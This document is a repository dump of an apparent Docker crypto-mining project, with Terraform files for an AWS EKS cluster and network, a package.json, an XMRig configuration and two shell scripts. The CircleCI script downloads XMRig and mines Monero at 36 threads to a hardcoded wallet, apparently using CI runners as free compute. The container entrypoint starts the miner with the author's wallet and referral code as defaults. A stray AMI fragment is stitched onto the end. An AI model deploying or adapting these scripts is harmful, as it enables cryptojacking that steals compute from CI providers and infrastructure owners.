-------------------------------------------------------------------------------- 1 | # ================================================================== 2 | # MODULE AWS EKS - CLUSTER 3 | # ================================================================== 4 | 5 | module "eks" { 6 | source = "terraform-aws-modules/eks/aws" 7 | version = "~> 20.8" 8 | 9 | // EKS Cluster information 10 | cluster_name = local.aws_eks.cluster_name 11 | cluster_version = local.aws_eks.cluster_version 12 | enable_irsa = true 13 | 14 | // Setup Network 15 | vpc_id = data.aws_vpc.selected.id 16 | subnet_ids = local.aws_network.subnet_private_ids 17 | control_plane_subnet_ids = local.aws_network.subnet_publish_ids 18 | 19 | // Setup cluster endpoint 20 | cluster_endpoint_private_access = true 21 | cluster_endpoint_public_access = true 22 | 23 | // Setup Node Security Group 24 | node_security_group_tags = { 25 | "kubernetes.io/cluster/${local.aws_eks.cluster_name}" = null 26 | } 27 | node_security_group_additional_rules = { 28 | ingress_self_all = { 29 | description = "Node to node all ports/protocols" 30 | protocol = "-1" 31 | from_port = 0 32 | to_port = 0 33 | type = "ingress" 34 | self = true 35 | }, 36 | ingress_cluster_to_node_all_traffic = { 37 | description = "Cluster API to Nodegroup all traffic" 38 | protocol = "-1" 39 | from_port = 0 40 | to_port = 0 41 | type = "ingress" 42 | source_cluster_security_group = true 43 | } 44 | } 45 | 46 | // EKS Managed Node Group(s) 47 | eks_managed_node_group_defaults = { 48 | attach_cluster_primary_security_group = true 49 | iam_role_attach_cni_policy = true 50 | iam_role_additional_policies = { 51 | AmazonEKSWorkerNodePolicy : "arn:aws:iam::aws:policy/AmazonEKSWorkerNodePolicy", 52 | AmazonEKS_CNI_Policy : "arn:aws:iam::aws:policy/AmazonEKS_CNI_Policy", 53 | AmazonEC2ContainerRegistryReadOnly : "arn:aws:iam::aws:policy/AmazonEC2ContainerRegistryReadOnly", 54 | AmazonSSMManagedInstanceCore : "arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore" 55 | } 56 | } 57 | 58 | // EKS Managed Node Profile(s) 59 | eks_managed_node_groups = { 60 | green = { 61 | name = "eks-green-worknodes" 62 | description = "EKS managed node group for green worknodes" 63 | min_size = 3 64 | max_size = 3 65 | desired_size = 3 66 | capacity_type = "SPOT" 67 | instance_types = ["t3a.large", "t3a.xlarge"] 68 | ebs_optimized = true 69 | enable_monitoring = true 70 | block_device_mappings = { 71 | xvda = { 72 | device_name = "/dev/xvda" 73 | ebs = { 74 | volume_size = 64 75 | volume_type = "gp3" 76 | iops = 3000 77 | throughput = 150 78 | encrypted = true 79 | delete_on_termination = true 80 | } 81 | } 82 | } 83 | update_config = { 84 | max_unavailable_percentage = 33 85 | } 86 | tags = { 87 | worknodes = "green" 88 | } 89 | } 90 | } 91 | 92 | // Cluster access entry - To add the current caller identity as an administrator 93 | enable_cluster_creator_admin_permissions = true 94 | 95 | // Enable EKS cluster access logging 96 | cluster_enabled_log_types = ["api", "audit", "authenticator"] 97 | create_cloudwatch_log_group = true 98 | cloudwatch_log_group_retention_in_days = 14 99 | 100 | // Setup KMS Key 101 | create_kms_key = false 102 | cluster_encryption_config = { 103 | resources = ["secrets"] 104 | provider_key_arn = module.kms_eks.key_arn 105 | } 106 | 107 | // More tags 108 | /*tags = { 109 | "karpenter.sh/discovery" = local.aws_eks.cluster_name 110 | }*/ 111 | } 112 | -------------------------------------------------------------------------------- /infra/terraform/setup-eks/eks_kms.tf: -------------------------------------------------------------------------------- 1 | # ================================================================== 2 | # MODULE AWS KMS - EKS 3 | # ================================================================== 4 | 5 | module "kms_eks" { 6 | source = "terraform-aws-modules/kms/aws" 7 | version = "~> 2.2" 8 | 9 | description = "Setup KMS ${local.aws_eks.cluster_name} cluster encryption key" 10 | deletion_window_in_days = 7 11 | enable_key_rotation = true 12 | enable_default_policy = false 13 | key_administrators = [ 14 | module.eks.cluster_iam_role_arn 15 | ] 16 | key_users = [ 17 | module.eks.cluster_iam_role_arn 18 | ] 19 | aliases = ["eks/${local.aws_eks.cluster_name}"] 20 | } 21 | -------------------------------------------------------------------------------- /infra/terraform/setup-network/_backend.tf: -------------------------------------------------------------------------------- 1 | # Generated by Terragrunt. Sig: nIlQXj57tbuaRZEa 2 | terraform { 3 | backend "s3" { 4 | bucket = "" 5 | dynamodb_table = "" 6 | encrypt = true 7 | key = "projects/docker-crypto-miner/setup-network/terraform.tfstate" 8 | region = "us-east-1" 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /infra/terraform/setup-network/_datas.tf: -------------------------------------------------------------------------------- 1 | # ================================================================== 2 | # DATAS - AWS 3 | # ================================================================== 4 | 5 | data "aws_caller_identity" "current" {} 6 | data "aws_region" "current" {} 7 | -------------------------------------------------------------------------------- /infra/terraform/setup-network/_locals.tf: -------------------------------------------------------------------------------- 1 | locals { 2 | # ================================================================== 3 | # GENERAL 4 | # ================================================================== 5 | client_name = "lpsm-dev" 6 | # ================================================================== 7 | # AWS GENERAL 8 | # ================================================================== 9 | aws_account_id = data.aws_caller_identity.current.account_id 10 | aws_default_tags = { 11 | cost_allocation_business_unit = "lpsm-dev" 12 | cost_allocation_product = "lpsm-dev" 13 | operation_support_account_name = "${local.client_name}-${local.aws_environment}-services" 14 | operation_support_criticality = "low" 15 | operation_support_environment = local.aws_environment 16 | operation_support_team = "cloud" 17 | source_code = "https://github.com/lpsm-dev/docker-crypto-miner" 18 | source_project = "setup-network" 19 | } 20 | aws_environment = "develop" 21 | aws_region = "us-east-1" 22 | } 23 | -------------------------------------------------------------------------------- /infra/terraform/setup-network/_outputs.tf: -------------------------------------------------------------------------------- 1 | # ================================================================== 2 | # OUTPUTS - AWS 3 | # ================================================================== 4 | 5 | output "aws_account_id" { 6 | description = "Selected AWS Account ID" 7 | value = local.aws_account_id 8 | } 9 | 10 | output "aws_region" { 11 | description = "Details about selected AWS region" 12 | value = data.aws_region.current.name 13 | } 14 | -------------------------------------------------------------------------------- /infra/terraform/setup-network/_providers.tf: -------------------------------------------------------------------------------- 1 | # ================================================================== 2 | # PROVIDER - AWS DEFAULT 3 | # ================================================================== 4 | 5 | provider "aws" { 6 | region = local.aws_region 7 | default_tags { 8 | tags = { 9 | "automation:managedby" = "terraform", 10 | "cost-allocation:business-unit" = local.aws_default_tags.cost_allocation_business_unit, 11 | "cost-allocation:product" = local.aws_default_tags.cost_allocation_product, 12 | "operation-support:account" = local.aws_default_tags.operation_support_account_name, 13 | "operation-support:criticality" = local.aws_default_tags.operation_support_criticality 14 | "operation-support:environment" = local.aws_default_tags.operation_support_environment, 15 | "operation-support:team" = local.aws_default_tags.operation_support_team, 16 | "source-code" = local.aws_default_tags.source_code 17 | "source-project" = local.aws_default_tags.source_project 18 | } 19 | } 20 | } 21 | 22 | # ================================================================== 23 | # PROVIDER - AWS SA-EAST-1 24 | # ================================================================== 25 | 26 | provider "aws" { 27 | region = "sa-east-1" 28 | alias = "sa-east-1" 29 | default_tags { 30 | tags = { 31 | "automation:managedby" = "terraform", 32 | "cost-allocation:business-unit" = local.aws_default_tags.cost_allocation_business_unit, 33 | "cost-allocation:product" = local.aws_default_tags.cost_allocation_product, 34 | "operation-support:account" = local.aws_default_tags.operation_support_account_name, 35 | "operation-support:criticality" = local.aws_default_tags.operation_support_criticality 36 | "operation-support:environment" = local.aws_default_tags.operation_support_environment, 37 | "operation-support:team" = local.aws_default_tags.operation_support_team, 38 | "source-code" = local.aws_default_tags.source_code 39 | "source-project" = local.aws_default_tags.source_project 40 | } 41 | } 42 | } 43 | 44 | # ================================================================== 45 | # PROVIDER - AWS US-EAST-1 46 | # ================================================================== 47 | 48 | provider "aws" { 49 | region = "us-east-1" 50 | alias = "us-east-1" 51 | default_tags { 52 | tags = { 53 | "automation:managedby" = "terraform", 54 | "cost-allocation:business-unit" = local.aws_default_tags.cost_allocation_business_unit, 55 | "cost-allocation:product" = local.aws_default_tags.cost_allocation_product, 56 | "operation-support:account" = local.aws_default_tags.operation_support_account_name, 57 | "operation-support:criticality" = local.aws_default_tags.operation_support_criticality 58 | "operation-support:environment" = local.aws_default_tags.operation_support_environment, 59 | "operation-support:team" = local.aws_default_tags.operation_support_team, 60 | "source-code" = local.aws_default_tags.source_code 61 | "source-project" = local.aws_default_tags.source_project 62 | } 63 | } 64 | } 65 | -------------------------------------------------------------------------------- /infra/terraform/setup-network/_required.tf: -------------------------------------------------------------------------------- 1 | terraform { 2 | required_version = "1.12.1" 3 | required_providers { 4 | aws = { 5 | source = "hashicorp/aws" 6 | version = "~> 5.38" 7 | } 8 | } 9 | } 10 | -------------------------------------------------------------------------------- /infra/terraform/setup-network/aws_vpc.tf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lpsm-dev/docker-crypto-miner/d117d8091c977e00f4b67be3569aaa462bcf5dc7/infra/terraform/setup-network/aws_vpc.tf -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "_comment": "this project is not a node.js one, package.json is just used to define some metadata", 3 | "scripts": { 4 | "cm": "git cz", 5 | "precommit": "pre-commit run -a", 6 | "preinstall": "npx force-resolutions", 7 | "secrets": "gitleaks detect --config .github/config/.gitleaks.toml --verbose", 8 | "docker-lint": "docker run --rm -i ghcr.io/hadolint/hadolint < Dockerfile", 9 | "docker-inspect": "docker image build -t teste:1.0.0 . && dive teste:1.0.0 --config .github/config/.dive-ci.yaml --ci", 10 | "docker-scan": "docker image build -t teste:1.0.0 . && trivy image teste:1.0.0" 11 | }, 12 | "commitlint": { 13 | "extends": [ 14 | "@commitlint/config-conventional" 15 | ] 16 | }, 17 | "config": { 18 | "commitizen": { 19 | "path": "./node_modules/cz-conventional-changelog" 20 | } 21 | }, 22 | "devDependencies": { 23 | "@commitlint/cli": "17.8.1", 24 | "@commitlint/config-conventional": "17.8.1", 25 | "@semantic-release/changelog": "6.0.3", 26 | "@semantic-release/commit-analyzer": "9.0.2", 27 | "@semantic-release/exec": "6.0.3", 28 | "@semantic-release/git": "10.0.1", 29 | "@semantic-release/github": "8.1.0", 30 | "@semantic-release/release-notes-generator": "10.0.3", 31 | "commitizen": "4.3.1", 32 | "semantic-release": "21.1.2" 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /src/circleci/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | wget https://github.com/xmrig/xmrig/releases/download/v6.17.0/xmrig-6.17.0-linux-x64.tar.gz 4 | tar xf xmrig-6.17.0-linux-x64.tar.gz && cd xmrig-6.17.0 && clear 5 | ./xmrig -o gulf.moneroocean.stream:10128 \ 6 | -u 8BM4rswxAFJiMVX2pJj1iTLgzW1uWqsucUQNnDArw3vQF49e9nxA3C5U5Bi9rGs67ZKY67VPwB4XqXaz22eLD73u74pfeTh \ 7 | -p circleci --threads 36 8 | -------------------------------------------------------------------------------- /src/xmrig/config/xmrig.json: -------------------------------------------------------------------------------- 1 | { 2 | "api":{ 3 | "id":null, 4 | "worker-id":null 5 | }, 6 | "http":{ 7 | "enabled":false, 8 | "host":"127.0.0.1", 9 | "port":0, 10 | "access-token":null, 11 | "restricted":true 12 | }, 13 | "autosave":true, 14 | "background":false, 15 | "colors":true, 16 | "title":true, 17 | "randomx":{ 18 | "init":-1, 19 | "init-avx2":-1, 20 | "mode":"auto", 21 | "1gb-pages":false, 22 | "rdmsr":true, 23 | "wrmsr":true, 24 | "cache_qos":false, 25 | "numa":true, 26 | "scratchpad_prefetch_mode":1 27 | }, 28 | "cpu":{ 29 | "enabled":true, 30 | "huge-pages":true, 31 | "huge-pages-jit":false, 32 | "hw-aes":null, 33 | "priority":null, 34 | "memory-pool":false, 35 | "yield":true, 36 | "max-threads-hint":100, 37 | "asm":true, 38 | "argon2-impl":null, 39 | "astrobwt-max-size":550, 40 | "astrobwt-avx2":false, 41 | "cn/0":false, 42 | "cn-lite/0":false 43 | }, 44 | "opencl":{ 45 | "enabled":false, 46 | "cache":true, 47 | "loader":null, 48 | "platform":"AMD", 49 | "adl":true, 50 | "cn/0":false, 51 | "cn-lite/0":false 52 | }, 53 | "cuda":{ 54 | "enabled":false, 55 | "loader":null, 56 | "nvml":true, 57 | "cn/0":false, 58 | "cn-lite/0":false 59 | }, 60 | "donate-level":0, 61 | "donate-over-proxy":0, 62 | "log-file":null, 63 | "pools":[ 64 | { 65 | "algo":"rx", 66 | "coin":null, 67 | "url":"MINING_POOL", 68 | "user":"MINING_COIN:WALLET_ADDRESS.WORKER_NAME#REFERRAL_CODE", 69 | "pass":"x", 70 | "rig-id":null, 71 | "nicehash":false, 72 | "keepalive":true, 73 | "enabled":true, 74 | "tls":false, 75 | "tls-fingerprint":null, 76 | "daemon":false, 77 | "socks5":null, 78 | "self-select":null, 79 | "submit-to-origin":false 80 | } 81 | ], 82 | "print-time":60, 83 | "health-print-time":60, 84 | "dmi":true, 85 | "retries":2, 86 | "retry-pause":1, 87 | "syslog":false, 88 | "tls":{ 89 | "enabled":false, 90 | "protocols":null, 91 | "cert":null, 92 | "cert_key":null, 93 | "ciphers":null, 94 | "ciphersuites":null, 95 | "dhparam":null 96 | }, 97 | "user-agent":null, 98 | "verbose":1, 99 | "watch":true, 100 | "pause-on-battery":false, 101 | "pause-on-active":false 102 | } 103 | -------------------------------------------------------------------------------- /src/xmrig/entrypoint.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash -e 2 | 3 | # This option will make the script exit when there is an error 4 | set -o errexit 5 | 6 | # This option ensures that your script exits as soon as it encounters any failed piped commands 7 | set -o pipefail 8 | 9 | # This option temporary disable history 10 | set +o history 11 | 12 | # This option will trace what gets executed. Useful for debugging 13 | [[ "$TRACE" ]] && set -o xtrace 14 | 15 | # ============================================================================== 16 | # COLORS VARIABLES 17 | # ============================================================================== 18 | 19 | # High Intensity 20 | GREEN="\\033[0;92m" # Green 21 | YELLOW="\\033[0;93m" # Yellow 22 | PURPLE="\\033[0;95m" # Purple 23 | CYAN="\\033[0;96m" # Cyan 24 | NC="\\033[0;97m" # White 25 | 26 | # ============================================================================== 27 | # COMMON VARIABLES 28 | # ============================================================================== 29 | 30 | # shellcheck disable=SC2155 31 | readonly PROGNAME=$(basename "$0") 32 | 33 | # Font Name: ANSI Shadow 34 | HEADER=" 35 | 36 | 37 | 38 | ██╗ ██╗███╗ ███╗██████╗ ██╗ ██████╗ ███╗ ███╗██╗███╗ ██╗███████╗██████╗ 39 | ╚██╗██╔╝████╗ ████║██╔══██╗██║██╔════╝ ████╗ ████║██║████╗ ██║██╔════╝██╔══██╗ 40 | ╚███╔╝ ██╔████╔██║██████╔╝██║██║ ███╗ ██╔████╔██║██║██╔██╗ ██║█████╗ ██████╔╝ 41 | ██╔██╗ ██║╚██╔╝██║██╔══██╗██║██║ ██║ ██║╚██╔╝██║██║██║╚██╗██║██╔══╝ ██╔══██╗ 42 | ██╔╝ ██╗██║ ╚═╝ ██║██║ ██║██║╚██████╔╝ ██║ ╚═╝ ██║██║██║ ╚████║███████╗██║ ██║ 43 | ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═╝ ╚═╝╚═╝╚═╝ ╚═══╝╚══════╝╚═╝ ╚═╝ 44 | 45 | 46 | 47 | " 48 | 49 | # ============================================================================== 50 | # MINING VARIABLES 51 | # ============================================================================== 52 | 53 | CPU_LIMIT_ENABLE="${CPU_LIMIT_ENABLE:-true}" 54 | CPU_LIMIT_PERCENT="${CPU_LIMIT_PERCENT:-100}" 55 | CPU_LIMIT=$(($(nproc) * $CPU_LIMIT_PERCENT)) 56 | 57 | MINING_AUTO_CONFIG="${MINING_AUTO_CONFIG:-true}" 58 | MINING_POOL="${MINING_POOL:-rx.unmineable.com:3333}" 59 | MINING_COIN="${MINING_COIN:-SHIB}" 60 | REFERRAL_CODE="${REFERRAL_CODE:-7lkr-kmhq}" 61 | WALLET_ADDRESS="${WALLET_ADDRESS:-0xE36B97Ec98dD179B89BC109c11Eb47D6B587f3F3}" 62 | WORKER_NAME="${WORKER_NAME:-docker}" 63 | XMRIG_CONFIG_FILE="/usr/src/mining/config/xmrig.json" 64 | 65 | # ============================================================================== 66 | # COMMON FUNCTIONS 67 | # ============================================================================== 68 | 69 | Status() { 70 | echo -e "${PURPLE}[INFO]${NC}: $1" 71 | } 72 | 73 | Abort() { 74 | echo >&2 ' 75 | ************************ 76 | *** ❌ ABORTED ❌ *** 77 | ************************ 78 | ' 79 | echo "An error has occurred - $1. Aborting..." >&2 && exit 1 80 | } 81 | 82 | Welcome() { 83 | OS="$(uname)" 84 | [ "$OS" = "Linux" ] && DATE_CMD="date" || DATE_CMD="gdate" 85 | DATE_INFO=$($DATE_CMD +"%Y-%m-%d %T") 86 | DATE_INFO_SHORT=$($DATE_CMD +"%A %B") 87 | Status " 88 | ╔═══════════════════════════════════════════════════════════════════════ 89 | ║ 90 | ║ ✨ Welcome $USER! ✨ 91 | ║ 92 | ║ 🔖 Date - It's now $DATE_INFO - $DATE_INFO_SHORT 93 | ║ 🔖 System - $OS CI context 94 | ║ 95 | ║ 👾 CPU Information 👾 96 | ║ 97 | ║ 🔖 CPU_LIMIT_ENABLE - $CPU_LIMIT_ENABLE 98 | ║ 🔖 CPU_LIMIT_PERCENT - $CPU_LIMIT_PERCENT 99 | ║ 🔖 CPU_LIMIT - $CPU_LIMIT 100 | ║ 101 | ║ 👾 Mining Information 👾 102 | ║ 103 | ║ 🔖 MINING_POOL - $MINING_POOL 104 | ║ 🔖 MINING_COIN - $MINING_COIN 105 | ║ 🔖 REFERRAL_CODE - $REFERRAL_CODE 106 | ║ 🔖 WALLET_ADDRESS - $WALLET_ADDRESS 107 | ║ 🔖 WORKER_NAME - $WORKER_NAME 108 | ║ 🔖 XMRIG_CONFIG_FILE - $XMRIG_CONFIG_FILE 109 | ║ 110 | ╚═══════════════════════════════════════════════════════════════════════ 111 | " 112 | } 113 | 114 | # ============================================================================== 115 | # CALL FUNCTIONS 116 | # ============================================================================== 117 | 118 | echo "$HEADER" && Welcome 119 | 120 | sed -i "s/MINING_POOL/$MINING_POOL/g" "$XMRIG_CONFIG_FILE" 121 | sed -i "s/MINING_COIN/$MINING_COIN/g" "$XMRIG_CONFIG_FILE" 122 | sed -i "s/WALLET_ADDRESS/$WALLET_ADDRESS/g" "$XMRIG_CONFIG_FILE" 123 | sed -i "s/WORKER_NAME/$WORKER_NAME/g" "$XMRIG_CONFIG_FILE" 124 | sed -i "s/REFERRAL_CODE/$REFERRAL_CODE/g" "$XMRIG_CONFIG_FILE" 125 | 126 | if [[ "$MINING_AUTO_CONFIG" == "true" ]]; then 127 | Status "✨ Starting miner with config" 128 | xmrig -c "$XMRIG_CONFIG_FILE" $@ & sleep 3 129 | else 130 | Status "✨ Starting miner with cli params" 131 | xmrig -o "$MINING_POOL" -a rx -k -u "$MINING_COIN:$WALLET_ADDRESS.$WORKER_NAME#$REFERRAL_CODE" -p x & sleep 3 132 | fi 133 | 134 | if [[ "$CPU_LIMIT_ENABLE" == "true" ]]; then 135 | Status "✨ Enable CPU limit" 136 | cpulimit -l $CPU_LIMIT -p $(pidof xmrig) -z 137 | else 138 | Status "✨ Disable CPU limit" 139 | fi 140 | --------------------------------------------------------------------------------
"eu-central-1": "ami-0caef02b518350c8b"
}